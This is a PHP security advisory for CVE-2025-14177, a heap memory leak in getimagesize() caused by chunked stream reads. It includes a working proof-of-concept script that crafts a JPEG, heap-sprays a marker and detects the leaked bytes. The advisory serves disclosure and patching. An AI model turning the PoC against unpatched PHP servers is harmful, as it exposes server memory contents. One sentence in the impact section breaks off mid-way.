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Information Leak of Memory in getimagesize

Moderate
bukka published GHSA-3237-qqm7-mfv7 Dec 18, 2025

Package

No package listed

Affected versions

< 8.1.34
< 8.2.30
< 8.3.29
< 8.4.16
< 8.5.1

Patched versions

8.1.34
8.2.30
8.3.29
8.4.16
8.5.1

Description

Information Leak of Memory

Product: PHP EXT/STANDARD
Version: 8.6.0
CWE-ID:
• CWE-524: Use of Cache Containing Sensitive Information
• CAPEC-204: Lifting Sensitive Data Embedded in Cache
CVSS vector v.4.0: 6.3 (AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N)
Description: The application insufficiently controls access to information processed by the application data caching tool. As a result, an attacker can gain access to cached data.
Mitigation: Restrict access to information processed by the application data caching tool. Additionally, avoid caching information when unnecessary and, where possible, ensure cache encryption.

Researcher: Nikita Sveshnikov (Positive Technologies)

Research

Researcher discovered zero-day vulnerability «Information Leak of Memory» in PHP EXT/STANDARD.
This report includes a minimal proof‑of‑concept that demonstrates a bug in php-src/ext/standard/image.c where APPn data read for getimagesize(..., $info) may be corrupted and contain uninitialized heap bytes.
poc.php is a minimal Proof of Concept (Listing 1). Writes a small JPEG (min.jpg), reads it through php://filter to force multi‑chunk reads and prints a human‑readable verdict with an inline leak marker snippet when found.

Vulnerability reproduction

The steps below outline the vulnerability reproduction.
• Use the last PHP cli: ./php8.5.1 poc.php
• Output shows:
- Expected/actual APP1 length
- Expected vs returned APP1 head (hex)
- Result: VULNERABLE … or Result: OK …
- If vulnerable: Leak marker found: offset=… and a short ASCII/HEX snippet with the marker highlighted in [].
Note, the issue triggers under multi‑chunk reads. Reading directly from file or from a string often returns in one read and may not reproduce. The PoC uses php://filter/... specifically to ensure chunked reading.

Vulnerability analysis

php_read_stream_all_chunks() writes every chunk into the start of the buffer without advancing the destination pointer. The function then reports success as if the full buffer were filled, so the tail may contain uninitialized memory and the head is overwritten by the last chunk. That buffer is stored into $info['APPn'].

Listing 1. PoC Source Code

<?php
// Minimal PoC: corruption/uninitialized memory leak when reading APP1 via php://filter

$file = __DIR__ . '/min.jpg';

// Make APP1 large enough so it is read in multiple chunks
$chunk = 8192;
$tail  = 123;
$payload = str_repeat('A', $chunk) . str_repeat('B', $chunk) . str_repeat('Z', $tail);
$app1Len = 2 + strlen($payload);

// Minimal JPEG: SOI + APP1 + SOF0(1x1) + EOI
$sof  = "\xFF\xC0" . pack('n', 11) . "\x08" . pack('n',1) . pack('n',1) . "\x01\x11\x00";
$jpeg = "\xFF\xD8" . "\xFF\xE1" . pack('n', $app1Len) . $payload . $sof . "\xFF\xD9";
file_put_contents($file, $jpeg);

// Mini heap-spray: fill heap with a marker and free it, so the C buffer
// can reuse those areas and return marker remnants in $info['APP1']
$marker = 'LEAK-MARKER-123!';
$spr = substr(str_repeat($marker, intdiv(strlen($payload) + strlen($marker) - 1, strlen($marker))), 0, strlen($payload));
$spray = [];
for ($i = 0; $i < 512; $i++) {
    $x = $spr; $x[0] = chr($i & 0x7F); // COW -> distinct allocations
    $spray[$i] = $x;
}
unset($spray, $x);
gc_collect_cycles();

// Read through a filter to enforce multiple reads
$src = 'php://filter/read=string.rot13|string.rot13/resource=' . $file;
$info = null;
if (!@getimagesize($src, $info) || !isset($info['APP1'])) {
    echo "Error: failed to obtain APP1 from getimagesize().\n";
    exit(1);
}

$exp = $payload;
$ret = $info['APP1'];

// Human-readable output
$lenExp = strlen($exp);
$lenRet = strlen($ret);
echo "APP1 length: expected=$lenExp, actual=$lenRet\n";
echo "Expected APP1 head (HEX): ", bin2hex(substr($exp, 0, 16)), "\n";
echo "Returned APP1 head (HEX): ", bin2hex(substr($ret, 0, 16)), "\n";
echo ($exp === $ret)
    ? "Result: OK — data matches.\n"
    : "Result: VULNERABLE — data differs (corruption/leak).\n";

// If found — show marker offset and a short snippet
$pos = strpos($ret, $marker);

if ($pos !== false) {
    echo "Leak marker found: offset=$pos (inside returned APP1).\n";
    $ctx = 12; // bytes of context left/right
    $start = max(0, $pos - $ctx);
    $end = min(strlen($ret), $pos + strlen($marker) + $ctx);
    $before = substr($ret, $start, $pos - $start);
    $mid    = substr($ret, $pos, strlen($marker));
    $after  = substr($ret, $pos + strlen($marker), $end - ($pos + strlen($marker)));

    $sanitize = function ($s) {
        return preg_replace('/[^\x20-\x7E]/', '.', $s);
    };
    $asciiLine = $sanitize($before) . '[' . $mid . ']' . $sanitize($after);
    $hexLine = bin2hex($before) . '[' . bin2hex($mid) . ']' . bin2hex($after);

    echo "Snippet with marker (ASCII, marker in []): ", $asciiLine, "\n";
    echo "Snippet with marker (HEX, marker in []):   ", $hexLine, "\n";
} else if ($exp !== $ret) {
    echo "Marker not found, but data differs — still indicates a read bug.\n";
}
image Figure 1.

Security impact

This issue was originally not classified as a security issue due to usage of stream filter in recreation of the issue and the fact that only realy image file is supposed to be used. However, after deeper investigation during the fix, it was discovered that this can be exploitable if attacker knows the stream chunk size (which is mostly default) even on normal image. Such attack would be more complex but possible.

This issue It should be noted that this does not require

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity High
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N

CVE ID

CVE-2025-14177

Weaknesses

Use of Cache Containing Sensitive Information

The code uses a cache that contains sensitive information, but the cache can be read by an actor outside of the intended control sphere. Learn more on MITRE.